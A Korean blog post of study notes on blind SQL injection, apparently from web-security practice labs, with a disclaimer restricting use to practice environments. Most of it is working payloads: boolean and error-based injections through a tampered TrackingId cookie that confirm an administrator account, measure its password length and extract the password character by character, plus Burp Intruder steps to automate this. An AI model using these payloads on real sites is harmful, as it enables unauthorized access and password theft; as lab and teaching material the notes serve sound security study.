본문 바로가기

보안/WEB

[WEB 보안] Blind SQL Injection 취약점_1

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

Blind SQL Injection

: 보이지 않는 SQL Injection, 에러 기반(Error Based)의 SQL Injection을 막았을때 DB정보가 모두 블라인드 처리가 되어서 온다. 이때 서버에서 응답하는 참, 거짓으로만 DB 정보를 가져오는 방법이다.

1. 방법 :

1) 참/거짓

(1) 참

xyz' UNION SELECT 'a' WHERE 1=1--

(2) 거짓

xyz' UNION SELECT 'a' WHERE 1=2--

2) users 테이블에서 Administrator 사용자의 password 첫번째 한자리가 'm' 보다 큽니까? (크면 '참', 작으면 '거짓')

(1) 참

xyz' UNION SELECT 'a' FROM users WHERE username='Administrator' and SUBSTRING(password, 1, 1)>'m'--

→ '참'이면 환영합니다. 알림

(2) 거짓

xyz' UNION SELECT 'a' FROM users WHERE username='Administrator' and SUBSTRING(password,1,1)>'t'--

→ '거짓'이면 환영합니다 알림x, 리턴 x

3) 조건부 응답이 포함된 Blind SQL Injection (cookie 헤더 값 변조)

(1) TrackingId쿠키를 수정 및 반응 확인

TrackingId=x'+OR+1=1-- // 응답값 "Welcome back" 메시지 알림 O

TrackingId=x'+OR+1=2-- // 응답값 "Welcome back" 메시지 알림 X

(2) administrator 라는 사용자가 있는지 확인

x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'-- // 응답값 "Welcome back" 메시지 알림 시 True

(3) 관리자 암호에 몇개의 문자가 있는지 확인

x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>1-- // password 길이가 1보다 크면 True 알림이 뜸

x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+length(password)>3-- // password 길이가 3보다 크면 True 알림이 뜸, 계속 증가하면서 확인 안뜨면 '>'를 '=' 변경후 확인

(4) 특정 값에 대해 단일의 암호 문자 추출, 값을 순환하면서 차례로 하나씩 테스트

x'+UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,1,1)='a'-- //password가 첫번째 한글자가 'a'인지? 맞으면 "Welcome back", 틀리면 "Welcome back" 알림이 X

(5) Burp Suite 툴을 이용하여 Intruder 기능사용 (자동화 도구)

① 패킷을 우클릭 후 'Send to Intruder' 클릭

② Positions 에서 모두 클리어 후 'a' 부분 드래그 후 'Add $' 버튼 클릭

x' UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,1,1)='$a$'--;

③ Payloads 옵션에서 Payload Options[simplelist]에서 a-z, A-Z, 0-9 Add 한다.

④ Options 옵션에서 Grep-Match 에서 모두 Clear 후 Welcome back Add 한다.

⑤ start attack 후에 welcom back 에 체크 된 단어 찾기

x'UNION+SELECT+'a'+FROM+users+WHERE+username='administrator'+AND+substring(password,2,1)='$a$'--;

※ 이런식으로 반복하여 6자리 패스워드를 찾기

4) SQL 오류를 트리거하여 조건부 응답 유도

: SQL 쿼리를 수행하지만 쿼리가 데이터를 반환하는지 여부에 따라 다르게 동작하지 않는다고 가정(TrackingId Cookie를 이용하여 확인)

(1) 대소문자 표현식은 NULL로 평가되기 때문에 오류가 발생 X

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--

(2) I/O으로 평가되어 0으로 나누기 오류가 발생

→ 오류가 애플리케이션의 HTTP 응답에 약간의 차이를 유발한다고 가정하면 차이를 사용하여 주입된 조건이 참이진지 여부 유추

xyz' UNION SELECT CASE WHEN (username='Administrator' and SUBSTRING(password,1,1)>'m') THEN 1/0 ELSE null END FROM users--

※ 1/0 : 조건이 참일때

null : 조건이 거짓일때

5) Lab : Blind SQL Injection with coditional errors

(1) Burp Suite를 사용하여 TrackingId 쿠키가 포함된 요청을 가로채고 수정

(2) TrackingId 쿠키값을 작은따옴표로 변경 (TrackingId=')

→ 오류메시지 수신 확인 (오류 발생)

(3) TrackingId 쿠키값을 쌍따옴표로 변경 (TrackingId= ")

→ 오류 메지시 수신 확인 (정상값 확인)

(4) CASE 키워드 확인

① TrackingId='+UNION+SELECT+CASE+WHEN+(1=1)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- //오류 메시지 수신 확인

② TrackingId='+UNION+SELECT+CASE+WHEN+(1=2)+THEN+to_char(1/0)+ELSE+NULL+END+FROM+dual-- //정상값 확인

→ 특정 조건의 진실에 따라 조건부로 오류를 트리거 할 수 있음을 보여줌, 전자식에는 0으로 나누기가 포함되어 오류가 발생 , 두 페이로드는 조건 1=1 및 1=2를 테스트 하고 조건이 참이면 오류가 수신

(5) Administrator 라는 사용자가 있는지 확인

TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--

※ to_char(1/0) : 참(에러페이지)

NULL : 거짓(정상페이지)

→ 조건이 True인지 확인

6) 관리자 암호에 몇자의 문자를 사용하였는지 확인

TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+to_char(1/0)+ELSE+NULL+END+FROM+users--;

1 : 2,3,4,5,6... 순서를 계속 이용하여 거짓이 나올 때 까지

7) Burp Suite 툴을 Intruder 기능을 이용하여 관리자 패스워드 확인

(1) 패킷 우클릭→ Send to Intrader 클릭 - Positions → Clear$ 클릭 → 'a' 드래그 → Add$ 클릭

(2) Payloads 클릭 - Payload Options[Simple list] → a-z, A-Z, 0-9 (Add)

(3) Start attack 에서 에러페이지 찾기

(4) 이런 식으로 substr(password,1,1)='$a$' //빨간 부분 증가

(5) 구문 :

TrackingId='+UNION+SELECT+CASE+WHEN+(username='administrator'+AND+substr(password,1,1)='$a$')+THEN+to_char(1/0)+ELSE+NULL+END+FROM+users--;

반응형